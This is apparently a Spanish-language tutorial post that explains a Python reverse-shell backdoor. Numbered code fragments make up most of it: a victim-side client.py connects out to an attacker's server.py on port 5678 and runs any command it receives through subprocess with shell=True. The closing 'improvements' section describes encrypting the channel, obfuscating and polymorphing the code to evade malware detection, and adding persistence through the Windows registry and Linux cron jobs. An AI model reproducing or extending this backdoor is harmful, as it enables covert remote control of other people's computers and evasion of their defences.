Funcionamiento General#

El backdoor utiliza una arquitectura de conexión eversa donde:

1. El cliente (víctima) inicia la conexión hacia el servidor (atacante)
2. El servidor puede enviar comandos al cliente
3. El cliente ejecuta los comandos y devuelve los resultados
4. Se mantiene una sesión interactiva tipo shell

Configuración de Red#

• IP del servidor: 192.168.1.1 : Esta IP (para forma de prueba) se obtiene en ifcofig o ipconfig, dependiendo del sistema operativo.
• Puerto: 5678 (o a elección, solo debe de estar disponible)
• Protocolo: TCP (socket stream)

Análisis del Cliente (client.py)#

1
import socket
2
import os
3
import subprocess

1
def shell():
2
    current_dir = os.getcwd()
3
    client.send(current_dir.encode('utf-8'))

1
while True:
2
    res = client.recv(3000)
3
    command = res.decode('utf-8').strip()

1
if command.startswith("cd "):
2
    try:
3
        os.chdir(command[3:])
4
        result = os.getcwd()
5
        client.send(result.encode('utf-8'))
6
        current_dir = result
7
    except:
8
        client.send(b"Error: Directory not found")

1
elif command == "ls" or command == "dir":
2
    try:
3
        files = os.listdir('.')
4
        result = '\n'.join(files)
5
        client.send(result.encode('utf-8'))
6
    except:
7
        client.send(b"Error listing directory")

1
elif command == "pwd":
2
    result = os.getcwd()
3
    client.send(result.encode('utf-8'))

1
else:
2
    try:
3
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
4
        stdout, stderr = proc.communicate()
5
        result = stdout + stderr
6
        print("Result: ", result)
7

8
        if len(result) == 0:
9
            client.send(os.getcwd().encode('utf-8'))
10
        else:
11
            client.send(result)
12
    except:
13
        client.send(b"Error executing command")

1
def config():
2
    global client, ip, port
3

4
    ip = '192.168.1.1'
5
    port = 5678
6

7
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8
    client.connect((ip, port))
9
    print(f"Connected to {ip}:{port}")

Análisis del Servidor (server.py)#

1
def shell():
2
    current_dir = target.recv(3000)

1
while True:
2
    command = input(f"{current_dir} -$ ").encode('utf-8')
3
    if command.decode('utf-8') == 'exit':
4
        break

1
elif command.decode('utf-8').startswith('cd'):
2
    target.send(command)
3
    res = target.recv(3000)
4
    current_dir = res

1
else:
2
    try:
3
        target.send(command)
4
        res = target.recv(3000)
5
        if res == "1":
6
            continue
7
        elif command.decode('utf-8') == "":
8
            pass
9
        else: print(res.decode('utf-8'))
10
    except:
11
        print("Error")
12
        pass

1
def config():
2
    global server, target, ip, port
3

4
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    ip = '192.168.1.1'
6
    port = 5678
7

8
    server.bind((ip, port))
9
    server.listen(5)
10
    print(f"Server listening on {ip}:{port}")
11

12
    while True:
13
        target, addr = server.accept()
14
        print(f"Connected to {addr}")
15
        break

Flujo de Ejecución#

Por el lado del Servidor, al momento de iniciarlo, se ejecuta config() para iniciar el servidor, y shell() para interfaz interactiva. Al momento de ejecutar server.py realiza una espera de conexiones entrantes.

Luego por el lado del Cliente, se ejecuta config() para conectarse al servidor, y shell() para iniciar el bucle de comandos.

Una vez realizada la conexión del Cliente con su IP y puerto, el Servidor recibe el mensaje de que se conecto correctamente y muestra el directorio actual del cliente tal como se aprecia en la siguiente imagen.

Una vez realizada la conexión el Servidor podrá realizar ejecuciones de comandos sin restricciones en el sistema siendo esta una de las tantas Vulnerabilidades Identificadas, las otras son, sin autenticación, sin cifrado ya que esta en texto plano, sin validación de entrada y con manejos de errores básicos (información de errores limitadas). A continuación se aprecia la ejecución del comando ls desde la vista de server.py, entregandole los directorios del Cliente.

Tambien podemos observar los otros manejos de comandos explicados anteriormente. Como pwd, cd .. y nuevamente ls desde la vista del Servidor. Y finalmente se cierra la conexión realizando un exit desde la terminal del Servidor.

🛠️ Posibles Mejoras#

1. 🔐 Cifrado: El problema actual es que las comunicaciones van en texto plano, lo que permite fácil interceptación y análisis del tráfico. La solución a lo anterior, es Implementar SSL/TLS usando la librería ssl de Python. El beneficio de realizar esto, es el cifrado completo de las comunicaciones, protección contra eavesdropping (es el acto de escuchar conversaciones privadas sin permiso) y tener una integridad de los datos transmitidos.
2. 🧑‍💻 Autenticación: El código no posee una verificación de identidad, cualquier cliente puede conectarse al servidor. Para solucionar lo anterior, se debe de Implementar autenticación por token, contraseña o certificados.
3. 🕵️‍♂️ Ofuscación: El código es FACIL de identificar por sistemas de detección de malware. La solución a esto es tener Múltiples técnicas de ofuscación y evasión, como por ejemplo Ofuscación de Imports, Polimorfismo y Metamorfismo, etc.
4. 💾 Persistencia: Actualmente el backdoor se pierde al reiniciar el sistema o cerrar el proceso. Lo que se debe de realizar son Múltiples mecanismos de persistencia según el sistema operativo ya sea Windows con winreg, shutil por ejemplo; Linux con stat añadiendo trabajo cron para ejecuciones periódicas.